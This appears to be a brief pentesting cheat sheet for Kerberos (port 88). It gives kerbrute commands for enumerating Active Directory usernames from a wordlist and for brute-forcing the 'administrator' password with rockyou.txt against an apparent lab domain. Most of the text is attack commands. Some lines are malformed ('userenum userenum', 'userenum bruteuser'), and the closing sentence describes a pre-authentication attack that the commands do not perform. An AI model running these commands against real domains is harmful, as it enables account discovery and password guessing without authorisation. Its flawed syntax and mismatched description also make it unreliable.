88 - Pentesting kerberos
kerbrute - users enumeration
LIST_1='/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt'
LIST_2='/usr/share/wordlists/seclists/Usernames/Names/names.txt'
DOMAIN='spookysec.local'
/opt/windows/kerbrute userenum userenum --dc $DOMAIN -d $DOMAIN $LIST_1
kerbrute - users bruteforce
USER='administrator'
PASS='/usr/share/wordlists/rockyou.txt'
DOMAIN='spookysec.local'
/opt/windows/kerbrute userenum bruteuser --dc $DOMAIN -d $DOMAIN $PASS $USER -v
This attack looks for users without Kerberos pre-authentication required attribute.